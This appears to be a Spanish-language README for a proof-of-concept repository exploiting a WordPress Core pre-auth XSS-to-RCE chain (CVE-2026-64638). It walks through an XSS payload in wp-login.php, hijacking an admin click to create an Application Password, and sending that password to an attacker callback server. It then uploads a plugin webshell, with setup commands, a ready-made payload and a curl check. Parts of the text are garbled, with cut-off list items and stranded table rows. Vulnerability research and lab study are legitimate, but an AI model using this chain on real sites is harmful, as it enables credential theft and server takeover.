
PoC funcional de CVE-2026-64638 (XSS2Shell): cadena pre-auth XSS a RCE en WordPress Core. Laboratorio Docker + servidor atacante Python + análisis técnico y mitigación.
Proof of Concept educativa de la cadena XSS2Shell (CVE-2026-64638), vulnerabilidad pre-autenticación XSS → RCE en WordPress Core descubierta de forma autónoma por pwn.ai y divulgada el 7 de agosto de 2026.
CVE-2026-64638 es una vulnerabilidad de tipo cross-site scripting (XSS)
reflejado, pre-autenticación, en la pantalla de inicio de sesión de WordPress
(wp-login.php). Afecta a todas las versiones de WordPress bajo
mantenimiento anteriores a la 7.0.3, publicada el 6 de agosto de 2026 como
security release de emergencia. Se le asignó un CVSS v4.0 de 8.9.
La cadena bautizada XSS2Shell demuestra cómo, partiendo únicamente de un intento de login fallido con un username manipulado, un atacante puede:
strip_tags) y de
WordPress (wp_kses_post).user-profile.js) para realizar una petición REST JSONP al propio origen.jQuery.globalEval().El resultado es ejecución remota de código (RCE) en el servidor WordPress,
bajo el usuario del proceso web (típicamente www-data), partiendo de un
único click del administrador sobre un enlace controlado por el atacante.
Este repositorio contiene material estrictamente educativo y defensivo.
La PoC se entrega con un entorno Docker autocontenido cuya única finalidad es servir como blanco local y reproducible.
┌─────────────────────────────────────────────────────────────────────┐
│ 1. XSS pre-auth en wp-login.php │
│ log=< area id=ajaxurl href=/?rest_route=/&_jsonp=...> │
│ (discrepancia strip_tags ↔ wp_kses_post) │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 2. user-profile.js dispara .trigger('click') │
│ DOM clobbering de ajaxurl → petición POST al origen │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 3. REST JSONP responde application/javascript │
│ jQuery.globalEval() ejecuta el callback en el origen WP │
└──────────────────────────────────────────┬──────────────────────────┘
│ callback = window.opener
│ .approve.click
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 4. SOME: click() cruza la frontera opener→admin │
│ authorize-application.php#approve se pulsa en sesión admin │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 5. WP crea Application Password → redirige a success_url │
│ El atacante captura user_login + password en callback.php │
└──────────────────────────────────────────┬──────────────────────────┘
│ HTTP Basic REST
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 6. POST /wp-json/wp/v2/pages → publica página con <script> │
│ El admin visita la página → JS en origen WP con sesión admin │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 7. fetch update.php?action=upload-plugin → sube payload.zip │
│ PHP del plugin es accesible directamente sin activarlo │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 8. RCE confirmada: GET /wp-content/plugins/payload/shell.php │
└─────────────────────────────────────────────────────────────────────┘
La PoC está construida para ejecutarse en macOS o Linux con:
zip (para construir el payload manualmente,
opcional; el ZIP ya construido se incluye en payload/).No es necesario instalar WordPress manualmente: el docker-compose.yml
levanta un WordPress 7.0.2 vulnerable (la última versión anterior al parche)
junto con MariaDB.
POC XSS2Shell (CVE-2026-64638)/
├── README.md ← Este archivo
├── docker-compose.yml ← Blanco: WordPress 7.0.2 + MariaDB
├── .env.example ← Variables de configuración
├── exploit.py ← Orquestador en Python (opcional)
├── attacker/ ← Infraestructura del atacante
│ ├── index.html ← Página cebo con la cadena SOME
│ ├── callback.php ← Receptor de la Application Password
│ └── server.py ← Servidor estático + PHP embebido
├── payload/ ← Plugin ZIP malicioso
│ ├── build_payload.py ← Generador del ZIP
│ ├── shell.php ← Webshell mínimo
│ └── payload.zip ← ZIP preconstruido (listo para usar)
└── docs/
├── ANALISIS.md ← Análisis técnico detallado
└── MITIGACION.md ← Guía de mitigación y hardening
cp .env.example .env
docker compose up -d
WordPress quedará accesible en http://localhost:8080. Sigue el asistente de
instalación y crea un usuario administrador (por ejemplo admin /
admin-password).
El Dockerfile ancla la imagen a
wordpress:7.0.2-php8.2-apache, que es la última versión anterior al parche 7.0.3.
# En otro terminal, dentro de attacker/
python3 server.py
El servidor atacante escucha en http://localhost:9000 y expone:
/ → index.html (la página cebo)./callback.php → receptor de la Application Password.En el terminal donde corre server.py aparecerá una línea del tipo:
[+] Application Password recibida para el usuario 'admin':
XXXX XXXX XXXX XXXX XXXX XXXX
La credencial se guarda también en attacker/captured_credentials.txt.
Tras unos segundos, el orquestador de index.html habrá:
payload.zip a wp-content/plugins/payload/.Verifica la ejecución de código con:
curl -sI http://localhost:8080/wp-content/plugins/payload/shell.php
Una cabecera Hacked: true y un cuerpo JSON confirman el RCE.
Una vez completada la cadena, los siguientes endpoints sirven de evidencia:
| Recurso | Evidencia esperada |
|---|---|
GET /wp-content/plugins/payload/shell.php | Cabecera Hacked: true + JSON {"rce":true,"user":"www-data"} |
docs/ANALISIS.md — Análisis técnico detallado de cada
fase de la cadena, con referencias al código fuente de WordPress.docs/MITIGACION.md — Mitigaciones recomendadas,
hardening y verificación del patch 7.0.3.Distribuido bajo licencia MIT. Consulta el archivo LICENSE para más detalles.
attacker/captured_credentials.txt | Application Password capturada |
wp-admin → Aplicaciones → Contraseñas de aplicación | Una nueva entrada llamada «SomeApp» |